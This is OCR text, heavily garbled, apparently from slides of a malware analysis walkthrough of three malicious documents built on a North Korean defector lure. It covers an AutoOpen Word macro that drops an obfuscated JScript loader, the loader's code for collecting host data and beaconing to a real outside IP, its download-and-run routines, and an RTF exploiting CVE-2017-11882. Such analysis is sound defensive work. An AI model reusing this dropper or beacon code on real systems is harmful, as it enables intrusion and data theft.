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Then one day, | was waiting to get a job, and the Korean-Chinese
missionary looked at me and came as if he knew that [ was a North
Korean defector..

I work with the help of an Chinese Korean missionary..

As winter has come, it is a difficult situation because there is no more
work..

As a North Korean defector, it seems hard to hold out in China..

[ want to live like a human being.-

I want to go to Korea.
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yvdpzryrkrrfk("636d64202£6320736368

yvdpzryrkrrfk (" £54522

action = ydpzryrkrrfk("ed7

tmp = regInst & """" & action & """" & "
CreateObject (ydpzryrkrrfk (57536372697

.Run tmp, aoouvrlsdb,

pwdjbaitstibswiev(pwd)
eHandler
BApplication.ActiveWindow.View.Type = wdPrintView
ActiveDocument.Unprotect pwd
arr = Array(ydpzryrkrrfk("74") & ydpzryrkrrfk("626
itm In arr
ActiveDocument.Shapes(itm) .Fill.Solid
ActiveDocument.Shapes (itm) .Delete

Selection.WholeStory
Selection.Font.Hidden =
Selection.Collapse
ActiveDocument.Save
eHandler:

AutoOpen()
pwdjbaitstjbswjev (ydpzryrkrrfk
rsrbsuevlwseu (ydpzryrkrrfk
vdpzryrkrrfk("7777772 €

ydpzryrkrrfk (ByVal frnfgybkeufv

Long
Len(frnfgybkeufv)

vdpzryrkrrfk = ydpzryrkrrfk & Chr$ (Val("sH" & Mid$ (frnfgybkeufv,

zfgvmslehmof

zfgvmslehmof = Step 2
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£5343204d494e5554452(

"7072652

& mas & ydpzryrkrrfk("7072

) & ydpzryrkrrfk("e56cec™))

), vdpzryrkrrfk("72") & ydpzryrkrrfk(

String)

String

gvmslehmof, 2)))
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This Document is protected!

Open the document in Microsoft Office.

Previewing offline is not available for protected

documents.

If this document was downloaded from your
email, please click "Enable editing" from the
yellow bar above.

Once you have enabled editing, please click
"Enable content" on the yellow bar above.
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@ Detect It Easy 2.05

File name: C:/Users/forgo/Desktop/analy/samplel_2/samplel
Scan Scripts Log

Type:  Binary Size: = 477493 Entropy

w Binary
Format: Microsoft Office Word{15,0000)

Nauz File Detector v  Signatures

>

Options

Sbout

Exit
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© samplet zip - SO T 7.13 (AHEE)
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samplel.zip

o rels

> | | customxml

document.xml
endnotes.xml
fontTable.xml
footnotes.xml
settings.xml
styles.xml

<= ybaData.xml

| ] vbaProject bin

=] WEDSETNgs.xm

< I
El= g me:
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C:#WindowswSystem32¥cmd.exe

QAn

Hima lware_dnalys i stiOf f i ceMa | ScannertOf i ceMa | Scanner>0ff iceMalScanner .exe vbaProject.bin info

INFO mode selected

Opening file vbaProject.bin

Filesize is 624640 (0x393800) Bytes

Ms Office OLEZ Compound Format document detected

rmChessX
IserForml
serForme
serForm3
Iti|VBAbas
ChessBrainyB

YB-MACRO CODE WAS FOUND INSIDE THIS FILE!

The decompressed Macro code was stored here:

> D #ima lware_dnalvs i sOff i ceMa | ScannerfOf f i ceMa | ScannertiVBAPROJECT . BIN-Macros

):Hima lware_Analys i sOff i ceMa | ScannertiOf f i ceMa | Scanner>.
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AutoOpen D132 Al

Sub autoopen()
33 LogBase
End Sub

= LogBase &+ S

https://docs.microsoft.com/en-us/office/vba/word/concepts/customizing-word/auto-macros
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C:\Defrag\1

C:\Defrag\1\Disk
C:\Defrag\1\2
C:\Defrag\1\Disk\Report
C:\Defrag\9

samplel sample2

fStrForPathLoad = "C:\Defrag\1"

If Right(fStrForPathLoad, 1) <> "\" Then
fStrFrorPathLoad = fstrForPathLoad & "\"
MakeSureDirectoryPathExists fStrForPathLoad

End If

fStrForPathLoad = "C:\Defrag\1\Disk"

If Right(fStrForPathLoad, 1) <> "\" Then
fStrrorPathLoad = fStrForPathLoad & "\"
MakeSureDirectoryPathExists fStrForPathLoad

End If

fStrForPathLoad = "C:\Defrag\1\2"

If Right(fStrForPathLoad, 1) <> "\" Then
fStrrorPathLoad = fStrForPathLoad & "\"
MakeSureDirectoryPathExists fStrForPathLoad

End If

fSstrForPathLoad = "C:\Defrag\1\Disk\Report"
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1Handle = CreateFileW(StrPtr("C:\Defrag\1\Disk\Report\Other.BAT"),
GENERIC_WRITE Or GENERIC READ, _ &H2, O, CREATE_ALWAYS, FILE SHARE WRITE, 0)

If 1Handle <> @ Then CloseHandle 1lHandle

= QOther.BAT GdiGetBatchLimit

= Listl.jse

1Handle = CreateFileW(StrPtr("C:\Defrag\Listl.jse"), GENERIC_WRITE Or GENERIC READ, _
&H2, ©, CREATE_ALWAYS, FILE SHARE WRITE, ©)
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ot A7)

= Other.BAT

= Listl.jse

samplel sample2 sample3

lHandle = CreateFileW(StrPtr("C:\Defrag\List1l.jse"), GENERIC WRITE Or GENERIC_ READ, _
&H2, ©, CREATE_ALWAYS, FILE_SHARE_WRITE, )

If 1Handle <> © Then CloseHandle 1Handle

Open "C:\Defrag\Listl.jse" For Output As #1

Print #1, "try{ ooAzPborne56ko="'fucking9';ooAzPwerewritten51ko="injuicel®";o0o0AzPsharp:
Print #1, frmChessX.1lblSieOutput.Caption

Close #1

Open "C:\Defrag\1\Disk\Report\Other.BAT" For Output As #1
Print #1, "cscript //nologo C:\Defrag\List1l.jse"
Close #1
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Public Function OpenApp()
ExecuteCommand "C:\Defrag\1\Disk\Report\Other.BAT"
= Other.BAT End Function
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Clipboard
I SECURITY WARNING Macros have been disabled.

AGE1 OF 5

¥ Format Painter
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0 WORDS

INSERT

02

DESIGN PAGE LAYOUT

I U-aex,x A-¥-A-K

Font

Enable Content

Office

Your application activated
This document was created in an earlier version of Microsoft Office Word
To view full content please click "Enable Editing" and then click "Enable Content"

ENGLISH (UNITED STATES)

REFERENCES
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REVIEW

Paragraph

w1

He sample1 sample2
Signin
# Find -
AaBbCcDc AaBbCcDc AaBbCi AaBbCc AaBbCcD a
Jac Replace
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Styles [P Editing
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 File Edit View Insert Format Debug Run Tools Add-Ins Window Help
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5]
#-&% ChessBrainVB_Book (Sample1)
ChessBrainVB_Book Password

Password

|

https://stackoverflow.com/questions/1026483/is-there-a-
way-to-crack-the-password-on-an-excel-vba-project
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76940000
76941000
769A9000
769AA000
76A05000
76A10000
76A11000
76A62000
76A63000
76A64000
76AA0000
76AA1000
76AB8000
76AB9000
76ABEOOO
76AC0000
76AC1000
76AE7000
76AE8000
76AF3000
76B00000
76801000
76D04000
76D05000
76D0OA000
76D0C000
76D0D0O00O
76DOEOQOOD
76DOF000
76D40000
76D41000
76DD5000
76DD8000
76DD9000
76DDD0O00O
76DF0000
76DF1000
76ED2000
76ED4000
76EDEOQOO
76EE2000
76EE3000
76F33000

w22 Y

user32.dl11

jertutil.dll
. text"

" .wpp_sft"
".data"
".idata"
".didat"
".tls"
".rsrc”
".reloc"”
rpcrt4.dil
" text"

".didat"
".rsrc”
".reloc"”
ntd11.d11
. text"

sample3
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'
v
90000 OOOOOOOOS

P
W
(XXX

7698CFCA
7698CFCB
7698CFCD
7698CFCE
7698CFCF
7698CFD2
7698CFD4
7698CFD7
7698CFDA
7698CFDC
7698CFDD
7698CFE3
7698CFES
7698CFE7
7698CFES
7698CFES
7698CFEA
7698CFFO
7698CFF2
7698CFF4
7698CFF6
7698CFF7
7698CFF8
7698CFFE
76398D000
7698D002
7698D004
7698D007
7698D00A
7698D00D
7698D0O0OE
7698D0O0OF
7698D014
7698D015
7698D016
7698D018
7698D0O1E
7698D0O1F
7698D020
7698D026
76980027
7698D028
7698D02A

FF15 30919A76
85C0

FF15 2C919A76
8BF8

85FF

74 30

56

57

FF15 C4909A76
85C0

74 1C

6A 02

FF75 18

FF75 14

FF75 10

50

56

E8 FCGAFEFF
56

57

8BD8

FF15 ACS09A76
56

57

FF15 BOS09A76
SF

SE

8BC3

5B

push ebp
mov ebp,esp
push ebx
push esi
mov esi,dword ptr ss:|ebp+oxs]
push 0x0
push dword ptr ss:|[febp+oxC]
or ebx,0XFFFFFFFF
push 0x5
ush esi
dword ptr ds:[<&FindResourceExA>]
test eax,eax
je user32.7698D027
push edi
push eax
ush esi
dword ptr ds:[<&LoadResourcex]
mov edi,eax
test edi,edi
je user32.7698D026
push esi
ush edi
dword ptr ds:[0X769A90C4]
test eax,eax
je user32.7698D0O1E
push 0x2
push dword ptr ss:[ebp+0x1
push dword ptr ss:[ebp+0x1
push dword ptr ss:[ebp+0xi
push eax

ush esi
h <user32.DialogBoxIndirectParamAorw>
push esi

push edi
mov ebx,eax
€311 dword ptr ds:[0X769A90AC]
push esi

ush edi

dword ptr ds:[0x769A90B0]

pop edi

pop esi
mov eax,ebx

pop ebx

sample3
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Before After

57 push edi
FF15 BO909A76 gv_vord ptr ds:[0X769A90B0]
edi

7698D01F 57 ush edi

76980020 FF15 BOS09A76 dword ptr ds:[0X769A90B0]
76980026 pop edi

76980027 pop esi

76980028 mov eax,ebx

7698D02A pop ebx

7698D02B ﬁ ebp
7698D02C 0x14

I A A AR R X R
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= 1;ubhour 4{Kine +7] = 103; return opvaPbo{opvaPbOi) :
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= List1

He samplet sample2

X = Other

: > Users > forgo > Desktop > analy > sample1_2 > = List1

try{ ooAzPborne56ko="fucking9"' ;ooAzPwerewritten51ko="injuicel®";o0o0AzPsharp28ko
ooAzPtemperat23ko="that7’
;00AzPBeth24ko="Menace44 ' ;00AzPhairwas36ko="Hailie43" ;o00AzPwith3ko="daughters52
00AzPyoullgrow87ko="hairs90"' ;o0oAzPchildren66ko="back71"';00AzPbooksllko="nice45
00AzPbookworm79ko="boys45"'; fkzjv(); }catch(ivk){ Merlin=typeof(ivk); Kline=80
+'ode';};DraxCo=(Merlin+'String')['slice'](('-'+(('xxxxxx').length))*l); BriLop
opvgPbnOl=function(){return ©;}; Merlin=[]; function opvgPbn(vkfffi,qkwhbre) {1
(vkfffi); }catch(ivk){ if ( gkwhbre!='f' ) {return 1;} else {Tifkzjv=this[Drax(
[BriLop=gkwhbre+MoLer]](vkfffi); try{return Merlin(gkwhbre);}catch(l){return T
return opvgPbnOl; }};o00AzPtold4ko="undefined';ooAzPfiercefunny86ko="'undefined’
00AzPsock55ko="undefined’ ;00AzPvillain23ko="undefined"' ;ooAzPwerewritten5lko="u
00AzPsharp28ko="undefined' ;ooAzPtemperat23ko="undefined" ;0ooAzPBeth24ko="undefi
o0oAzPhairwas36ko="undefined' ; ooAzPwith3ko="undefined';var ooAzPcried18ko=[667,
00AzPwhen50=false;var ooAzPMother9lko=null; var ooAzPneednt4=0;var ooAzPtold4kd
var ooAzPover80=false;var ooAzPturns90ko=0.781; var ooAzPpreparing62 =0;var
00AzPblue72ko="woman7@"'; var o00AzPgirls41=0;var ooAzPborne56ko="'fucking9'; var
00AzPwould72=false;var ooAzPtouching62ko={Y:86}; var ooAzPdidnt36=null;var 00Az
var 00AzPstiff23=3;var ooAzPkeeping30ko=0.63; var o00AzPround3@=null;var o0o0AzPre

https://fileinfo.com/extension/jse

sample3

QnA
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= List1_be

X

: > Users > forgo > Desktop > analy > sample1_2 > = List1_be

try {

0oAzPborne56ko = ‘fucking9';

0oAzPwerewritten51ko = 'injuicel@’;

00AzPsharp28ko = 'begginl2';
ooAzPtemperat23ko = 'that7';
00AzPBeth24ko = 'Menace44’';
00AzPhairwas36ko = 'Hailie43';
0oAzPwith3ko = 'daughter52';
00AzPyoullgrow87ko = 'hairs9e’;
00AzPchildrené6ko = 'back71’';
00AzPbooksllko = 'nice45’';
00AzPbookworm79ko = 'boys45"';
tkzjv();

Y catch (ivk) {

}s

Merlin = typeof(ivk);
Kline 80;
MoLer '‘romCharC’' + 'ode';

samplei

sample2

sample3

QnA
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kline = 8@;
MoLer = ‘romCharC' + ‘ode’;
Merlin = [];
DraxCo = (Merlin + 'String’)['slice’'J(('-" + (('xxxxxx').length)) * 1);
var opvgPbnOl = function() {
return 0;

¥

function opvgPbn(vkfffi, qgkwhbre) {
try {
swvdurin_3(vkfffi);
} catch (ivk) {
if (gkwhbre != "f') {
return 1;
} else {
Tifkzjv = this[DraxcCo][
[BriLop = gkwhbre + MoLer]
J(vkfffi);
try {
return Merlin(qkwhbre);
} catch (1) {
return Tifkzjv;
s
¥

return opvqgPbnOl;
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samplel &AM &M

var ooAzPawaywent31 = (function(ksiyours) {
ksiyours5[Kline] = 4;
ksiyour5[Kline + 7] =
return opvgPbn(opvgPbnOl() + (ksiyour5[87] - ksiyour5[Kline]), (function(uhhcur4) {
uhhcur4[Kline] = 1;
uhhcur4[Kline + 7] = 103;
return opvgPbn(opvgPbn0l() + (uhhcur4[87] - uhhcur4[Kline]), 'f');
}) (Merlin, 'tits93'));
})(Merlin, 'gonna34', false, true, 'gone55') + (function(vnhli5) {
= vnhli5[Kline] = 2;
= Z . vnhlis[Kline + 7] = 34;
return opvgPbn(opvgPbnol() + (vnhli5[87] - vnhli5[Kline]), (function(uhhcur4) {
fromCharCode(N — M) + e TG S 76
uhhcur4[Kline + 7] = 103;
return opvgPbn(opvgPbn0l() + (uhhcur4[87] - uhhcur4[Kline]), 'f');

fromCharCode(N — M) + })(Merlin, 'titso3'));

1) (Merlin, ‘outfit37', 909) + (function(jiufight4) {
fromCharCode(N — M) + . jiufighta[Kline] = 3;
jiufighta[Kline + 7] = 35;
& EHE EII'%H:" return opqubnfopqubnOl() + (jiufight4[87] - jiufight4[Kline]), (function(uhhcur4) {
o o 1"l uhhcur4[Kline] = 1;
uhhcur4a[Kline + 7] = 103;
return opvgPbn(opvgPbn0l() + (uhhcur4[87] - uhhcur4[Kline]), 'f');
})(Merlin, "tits93'));
})(Merlin, 'hips31', 'cause66', 1930) + (function(funcus5) {
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samplel &AM &M

pattern = r'"\(function\([a-zA-Z0-9]*\) \
{\s*[a-zA-Z0-9]"\[Kline\] = [0-9];\s*[a-ZA- (function(isuen3) {
Z0-9]"\[Kline . 7\] = [0-9]*\s*return 1oTRTE L] <L
isuen3[Kline + 7] = 66;
opvgPbn\(opvgPbnON(Y) . \([a-zA- return opvqPbn(opvgPbn0l() + (isuen3[87] - isuen3[Kline]), 'f');
Z0-91"\[87\] . [a-zA-Z0-9]"\[Kline\]\), \'\\); })(Merlin, ‘offices’)

\s"\N\)\(Merlin[a-zA-Z0-9 \\"KO0,60}\)"
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b3 A BX| YRE

roh

Al2

pattern = r'"\(function\([a-zA-Z0-9]*\) \
{\s*[a-zA-Z0-9]*\[Kline\] = [0-9];\s*[a-zA-
Z0-9]"\[Kline . 7\] = [0-9]*\s*return
opvgPbn\(opvgPbnON(\) . \([a-zA-
Z0-91"\[87\] . [a-zA-Z0-9]"\[Kline\]\), \"f\"\);
\s"\\)\(Merlin[a-zA-Z0-9 \\"KO,60}\)"

if

He sample1 sample2

__name__ == "_main__ "

# read obfuscated file

f1 = open(obfuscated file path,"r"
data = fl.read

f1.close

# write deobfuscated file

f2 = open(deobfuscated file path,"w"

sample3

obfuscated code = find obfuscated code(patternl, data

for 1 in obfuscated code

data = data.replace(i, deobfuscate(i

obfuscated code = find obfuscated code(pattern2, data

for 1 in obfuscated code

data = data.replace(i, deobfuscate(i

data = data.replace("\" + \""

f2.write(data

QnA
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Before

return opvgPbn(opvgPbnOl() + (iejcu
}) (Merlin) + (function(wnvyou3) {
wnvyou3[Kline] = 4;
wnvyou3[Kline + 7] = 116;
return opvgPbn(opvgPbn0l() + (wnvyo
}) (Merlin, ‘'gonna34', false, true, 'gon
continue;
}s
}s
ooAzPaltogether97ko = 'undefined';
00AzPchildren66ko = 'undefined’;
00AzPbooksllko = 'undefined’;
00AzPbookworm79ko = 'undefined’;
00AzPBethI70ko = 'undefined’;
ooAzPfiercefunny86ko = 'undefined’;
00AzPsock55ko = ‘undefined’;

He samplet sample2 sample3

After

ooAzPannounced84["Sleep"](56041);
continue;

}

ooAzPannounced84["Sleep"](53030);

}s

ooAzPannounced84["Sleep"](32075);

continue;

}s

}s
ooAzPaltogether97ko = 'undefined';
00AzPchildren66ko = 'undefined’;
00AzPbooksllko = ‘undefined’;
00AzPbookworm79ko = 'undefined’;
00AzPBethI70ko = 'undefined’;
ooAzPfiercefunny86ko = 'undefined’;
00AzPsock55ko = 'undefined’;

QnA
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try {
if ((ooAzPsuch89["toLowerCase”|()["index0f"](0oAzPcamp9l + "temp” + 00AzPcamp9l) == -1)

&& (00AzPsuch89[ "toLowerCase” |()["index0f" | (ooAzPcamp9l + "startup” + ooAzPcamp9l) == -1))

{

if (ooAzPlonga) {
00AzPprim5|[ "Popup” ] (unescape(ooAzPbundled35), 16, unescape(ooAzPawaywent31l), 0);

}
} catch (ooAzPwhats5) {}




Sample'l é,l'k“ —E—*Jl sample2 sample3

var 00AzPAmy57 = ("2090000") * 1;
var ooAzPthinkof15 = 1;

while (ooAzPhometo44 && 00AzPround99) {

00AzPbundled35 = "Jer";
00AzPthinkof15 = ooAzPthinkof15 + 1;

if (ooAzPthinkof15 == o00AzPAmy57) {
R

}s
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samplel sample2

try {
00AzPcould74 = ooAzPquartersEurope37("winmgmts:{impersonationLevel=impersonate}!"

+ 00AzPcamp9l + 0oAzPcamp9l + "." + ooAzPcamp9l + "root" + 0oAzPcamp9l + "cimv2");
00AZPSTREETPORTLANDA = 9}
00AzPwhich82 = new o0oAzPtouching38(ooAzPcould74[ "ExecQuery”]("Select * from Win32 Process
while (!ooAzPwhich82["atEnd"]()) {
if (00AzZPSTREETPORTLAND4 == 200) break;
00AzPtroubles84 = ooAzPwhich82["item"]();
00AzPbeing98 = 00AzPbeing98 + 0oAzPtroubles84["Name"] + "*" +
00AzPtroubles84[ "ExecutablePath"] + String["fromCharCode™"](13) + String["fromCharCode"](10);
00AZPSTREETPORTLANDA++;
00AzPwhich82[ "moveNext"]();
}
00AzPwhich82 = null;
00AZPSTREETPORTLAND4 = @;
00AzPwhich82 = new ooAzPtouching38(0o0AzPcould74["ExecQuery” ]
("Select * from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE"));
while (!ooAzPwhich82["atEnd"]()) {
if (00AzZPSTREETPORTLAND4 == 10) break;
00AzPtroubles84 = ooAzPwhich82["item"]();
00AzPwait2 = ooAzPwait2 + "*" + 00AzPtroubles84["IPAddress”](@) + "::
+ 00AzPtroubles84["Caption™];
00AZPSTREETPORTLANDA++;
00AzPwhich82[ "moveNext" [ ();

}
} catch (ooAzPwhat55) {}

sample3
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System Idle Process*null

System*null

smss.exe*null

csrss.exe*null

wininit.exe*null

csrss.exe*null

winlogon.exe*null

services.exe*null

lsass.exe*null

lsm.exe*null

suchost.exe*null

suchost.exe*null

suchost.exe*null

suchost.exe*null

suchost.exe*null

suchost.exe*null

suchost.exe*null

suchost.exe*null

suchost.exe*null

suchost.exe*null

UGAuthService.exe*null

umtoolsd.exe*null

suchost.exe*null

UmiPruSE.exe*null

msdtc.exe*null
taskhost.exe*C:W#lindoustisystem32Wtaskhost.exe
dum.exe*C:#lindouwstisystem32WDum.exe
explorer.exe*C:lindouwsWExplorer . ERE
um3dservice .exe*C:lindowsSystem32Wum3dservice.exe
umtoolsd.exe*C:WProgram FilestMuwaretMware ToolsWumtoolsd.exe

sample1

sample2

sample3

QnA
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var o00AzPBanquol5 = o00AzPprimS["Environment”]("PROCESS")["Item"]("COMPUTERNAME");
var 00AzPChristmas46 = o0oAzPprim5["Environment”]("PROCESS™)["Item"]("USERNAME");
var ooAzPhome28 = ooAzPprim5["Environment”]("PROCESS")["Item"]("USERDOMAIN");

00AzPtable9® = ooAzPhome28 + "@@" + ooAzPBanquol5 + "@@" + ooAzPChristmas46 + "@@";

for (00AzPgirls4l = ©; 00AzPgirls4l < ooAzPtable9o|"length"]; ooAzPgirls4l++) {
00AzPpreparing62 = (((0oAzPpreparing62 << (5)) - 0OAzPpreparing62) +
00AzPtable90| "charCodeAt"” ] (00AzPgirls4l)) & ooAzPback49;

}

00AzPpreparing62 = ((0oAzPpreparing62) >>> 0)["toString”]|(16);
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sample2

while (o0oAzPhappy59) {
try {
00AzPthat34 = o0oAzPmean8@ + ooAzPthought99 + "&" + Math["floor"]
((Math["random™]() * (6000)) + 1) + Math["floor"]((Math["random"]() * (10006)) + 1);
00AzPtimes65[ “setOption™] (3, "MSXML");
00AzPtimes65[ “open” ] (ooAzPplate23, ooAzPthat34, false);
00AzPlikea7 = Math["floor"]((Math["random"]() * 3) + 1);
00AzPtimes65[ " setRequestHeader™] ("User-Agent”, "Mozilla/5.0 (Windows NT 6."
+ 00AzPlike47 + "; Win64; x64; Trident/7.0; rv:11.0) like Gecko");
00AzPtimes65[ “send" ] ();
if (ooAzPtimes65["status"] == 200) {
00AzPdidnt36 = 00AzPtimes65[ "responseText"”];
try {
if (ooAzPdidnt36["index0f"](o00AzPcould77) > -1) {
00AzZPgiving42 = (00AzPtimes65["getResponseHeader" ] ("Content-Dispositior
["indexof"]("11x-") > -1);
if (ooAzPgiving42) {
00AzPgiving42 = 1;
} else {
isupp = (0oAzPtimes65["getResponseHeader"]("Content-Disposition™)
["indexOf"]("upd-") > -1);
if (isupp) {
00AzZPgiving42
} else {
00AZPgiving42

¥

00AzPdont90@ = ooAzPhave94["CreateTextFile"](ooAzPshooting24, true, fal:
00AzPdont90[ "Write" ] (ooAzPdidnt36);

00AzPdont9e[ "Close" | ();

00AzPdont90 = null;

sample3
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00AzPdont90 = 0oAzPhave94["CreateTextFile"](ooAzPwandereds4, true, fal:
00AzPdont90| "Write" | (ooAzPsmoothhaired31);

00AzPdont90| "Close" | ();
try {
00AZPLIBERTY46[ "ShellExecute" | ("wscript”, "/B /E:JScript "
+ 00AzPcried35 + ooAzPwandered84 + ooAzPcried35 + " " + 00AzPgiving42, '', "open", 1);
} catch (ooAzPwhat55) {
00AZPLIBERTY46| "ShellExecute”]("cscript™, "/B /E:JScript "
+ 00AzPcried35 + ooAzPwandered84 + ooAzPcried35 + " " + 00AzPgiving42, '', "open", 0);

}
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7He samplet sample2

C:WDefrag>cscript Listl.jse
Microsoft (R)> Windows Script Host Uersion 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

Script File Read All And Add Data

Save Process And Network Information To Memory

Runtime Error?

Generate Number : cdfib86e

Startup

Delete File

Request URL : https://185.234.73.125/uMBB30/Ux2u?? .php?h=s27&j=cdf1b86e&l=forgot
ten—PCEEFORGOTTEN-PCERforgottenP@>192.168.79.128x3A%3A~5BANABBAATY 5D ~%28Inte1%Z28R
2.29228PR0O/180028MT ~2BNe twork#Z20Connection&1736459

Send It?

no response...

Request URL : https://185.234.73.125/uMBB30/Ux2u?? .php?h=s27&j=cdf1b86e&l=forgot
ten—PCEEFORGOTTEN-PCERforgottenP@>192.168.79.128x3A%3A~5BANBBBAATY.5D~%28Inte1%28R
2.29228PR0O/1800%28MT ~20Ne twork#20Connection&6164690

Send It?

no response...

Request URL : https://185.234.73.125/uMBB30/Ux2u?? .php?h=s27&j=cdf1b86e&l=forgot
ten—PCEEFORGOTTEN-PCERforgottenP@>192.168.79.128x3A%3A~5BANABBAATY 5D ~%28Inte1%Z28R
2.29228PR0O/180028MT ~2BNe twork#Z28Connection&5157431

Send It?

no response...

Request URL : https://185.234.73.125/uMBB30/Ux2u?? .php?h=s27&j=cdf1b86e&l=forgot
ten—PCEEFORGOTTEN-PCERforgottenP@>192.168.79.128x3A%3A~5BANABBBAATY 5D ~%28Inte1%28R
2.29228PR0O/10800%28MT ~20BNe twork#20Connect ion&2848697

C:WDefrag>

~
C:\Windows\System32\cmd.exe . [ =N ‘—83—j

sample3

QnA
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00AzPyoure43| "dataType”]| = "bin.base64";

00AzPyoure43[ "text"] = ooAzPbest68["split"](ooAzPcould77)["join"]("");
00AzPcould44| "oOpen”]();

00AzPcould44|"Type"] = 1;

00AzPcould44[ "Position”] = 0;

00AzPcould44| "Write" | (0oAzPyoure43| "nodeTypedvalue”]);

00AzPlike47 = Math["floor"]((Math["random”]() * 13000) + 10);
00AzPshooting24 = o0oAzPshooting24|"replace”](ooAzPshooting24["slice"]|(-4), "x" +
00AzPlike47 + ".com");

00AzPcould44| "SaveToFile" ]| (0ooAzPshooting24, 2);
00AzPcould44|"Close" ] ();

00AzPcould44 = null;
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if (ooAzPannounced84["Arguments”]["Length"]) {
if (ooAzPannounced84|"Arguments”](@) == "2") {
try {
00AzPhave94[ "CopyFile" | (ooAzPshooting24, ooAzPliked41l, true);
} catch (ooAzPwhats5) {}
break;

}

if (ooAzPannounced84|"Arguments”](@) == "1") {

try {
00AZPLIBERTY46([ "ShellExecute™” | ("rundl132", ooAzPcried35 + ooAzPshooting24

+ 00AzPcried35 + " InitLibrary", , "open", 1);
} catch (ooAzPwhat55) {
00AZPLIBERTY46[ "ShellExecute™”]("cmd", "/U /C rundll32 " + ooAzPcried35s
+ 00AzPshooting24 + ooAzPcried35 + " InitLibrary", , "open", 0);

}

}

if (ooAzPannounced84|"Arguments”](@) == '0') {
try {
00AZPLIBERTY46([ "ShellExecute™ | (0ooAzPshooting24, ooAzPlike47, "', "open", 1);
} catch (ooAzPwhat55) {
00AZPLIBERTY46[ "ShellExecute"]("cmd", "/U /C " + ooAzPcried3s
+ 00AzPshooting24 + ooAzPcried35, "', "open™, 0);
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if (ooAzPthings38) {
try {
00AzZPwoman66 = new 00AzPtouching38(0oAzPseams95);
for (; !ooAzPwoman66["atEnd”](); ooAzPwoman66|“"moveNext"]()) {
00AzPshoulder4 = ooAzPwoman66["item"]();
if ((ooAzPshoulder4|"IsReady”] && (ooAzPshoulder4["DriveType"] == 3 || ooAzPsh
00AZPLIBERTY46[ "ShellExecute"]("cmd™, "/T:" + ooAzPlikea7
+ " /U /Q /C cd /D" + ooAzPshoulder4["DriveLetter"] + ": && dir /b/s/x "
+ 00AzPcellarl8 + ">>%TEMP%" + ooAzPcamp9l + ooAzPdagger72, '', "open", 0);
00AzPannounced84| "Sleep" | (1000 * 54);

}

00AzPannounced84|"Sleep” (1000 * 55);
00AzPsaid72 = ooAzPhave94|"GetFile"|(ooAzPplague71l + ooAzPcamp9l + ooAzPdagger72)|
while (!ooAzPsaid72["AtEndofStream”]) {
00AzPdear48 = 00AzPsaid72["ReadLine"]();
00AzPshook66 = ooAzPdear48[ "substring”](@, ooAzPdear48["indexOf"]("."));
00AZPLIBERTY46[ "ShellExecute"]("cmd", "/T:" + ooAzPlikea7
+ " /U /Q /C copy /Y " + ooAzPcried35 + ooAzPwandered84 + ooAzPcried35
+ " " + ooAzPcried35 + 00AzPshook66 + ".jse" + 0oAzPcried35
+ " && del /Q/F " + ooAzPcried35 + o0oAzPdear48 + 00AzPcried3s,
}
00AzPsaid72[ "Close"]();
00AzPannounced84|"Sleep”| (1000 * 54);
00AzPhave94| "DeleteFile™ | (0oAzPplague71l + 0oAzPcamp9l + 0oAzPdagger72);
} catch (ooAzPwhats55) {}

, "open”, @);




sample1 sample2 sample3

samplel ZE&




= = N2 sample1 sample2 sample3 QnA
sample2 &l SET mple p mple n

2CHA ¥3E

XOR 5% 3}

sample2. rtf 1SHY 3 E

CVE-2017-11882'&’41

c2 MH

ugopx6413.exe
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sample1 sample2 sample3

Detect It Easy 2.05

File name: C:/Users/forgo/Desktop/analy/sample2/sample2 vir

Scan Scripts Log

Type: Binary Size: 375322

w Binary
Format: Rich Text Format

Nauz File Detector v  Signatures

>

Options

Sbout

Exit

QnA
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sample1 sample2 sample3

C:#Windows#System32#¥cmd.exe

Microsoft Windows [Yersion 10.0.19042.985]
(c) Microsoft Corporation. &ll rights reserved.

D:#imalware_Analys istirtfobi>D:Wmalware_Analysistirtfobifirtfob) .py CiiilserstiforachDesktoptianalyisamp|eliisampled . vir
rtfobj 0.55.2 on Python 3.8.5 - http!//decalage. info/python/oletools

THIS IS WORK IN PROGRESS — Check updates regular|y!
Please report any issue at https://github.com/decalage?/oletools/ issues

File: 'C:tilUserstitiforgofitiDesk topitiana | vitisamp |eiisampled .vir' — size: 375322 bvtes

id | index |OLE Object

4L

0 }OOOOOEBZh

4L
T

D: fima lware_analvs istirtfobj>
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sample1 sample2 sample3

C:¥Windows#System32¥cmd.exe

D:tima lware_Analvs istirtfob) >0 timalware_dnalysistirtfobitirtfob) .py CiilsersiiforgotilDesktoptiana lviisamp |eizampled .vir —s 0 —d
[ WUaeraﬁforqoﬁDeaPtopﬁ1n1lfﬁ amp | et

rtfobj 0.55.2 on Python 3.8.5 - http:!//decalage. info/python/oletools

THIS IS WORK IN PROGRESS - ChecP updates regular|y!

Please report any issue at https://github.com/decalageZ/oletools/ issues

File: 'C:#ilUsersitiforgofiiDesk topitiana | vifisamp |e2iisampled . vir' — size: 375322 bvtes
id | index |OLE Object
0 |O0OD0OEBZh |f

+

ing file embedded in OLE object fO:
rl-tt id 2
S name b'eqUATION. 3"
1DSbJr

rDTc9b1fbbf1TT5425d24

2. vir_object_00000EBZ .bin

D:tima lware_Analvsistirtfob)>
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sample2 M=

segP00:00000000 ; Segment type: Pure code
segfod: 00000000 segdd segment byte public 'CODE' use32
segooo : 6e0000ee assume cs:segboe
seg@o0: 00000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
segdoo : 00000000 db 2
segoeo: 00000001 db @F7h
seg@oo : 00000002 db 8Eh
segdoo: 0eeeeee3 db @Ah
segboo: eeoooes db aCzh
seg0oo : 0eeeeees db @E%h
seg000 : 00000006 db 1
seg000: 00000007 db 8
segoeo: 00000003 db 34h ;
segoeo : 00000009 db 14h
SegBB0:0BBBBBBA § - oo
Seg0oo : 0000000A @FFBA42C3h
seg0oo : 0000000F
segfo0: 00000011 i, [ecx]
segfo0: 00000013 [edi]
seg0oo: 0eeeeels @FFB9984Fh
seg000: 0000001A
segoo: 0000001C [edx]
Seg0oo : 0000001E
Segboo : 0000001F
segdoo: 00000021 SADAF6@Eh
segdoo: 00000026 SAD3279Eh
segfo0: 00000028 j
segooo: 0eeooo2e ;
segoeo: 00000020
segoeo: 0000002E
seg@o0: 000BO2F db @Elh

db 8A2h

" A
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-r

CVE-2017-11882 %™ 2AMEH A 9

. AS{OHBRS ForFo|Ct,

—=

= EQNEDT32.exe, QU|A LIEO|M At

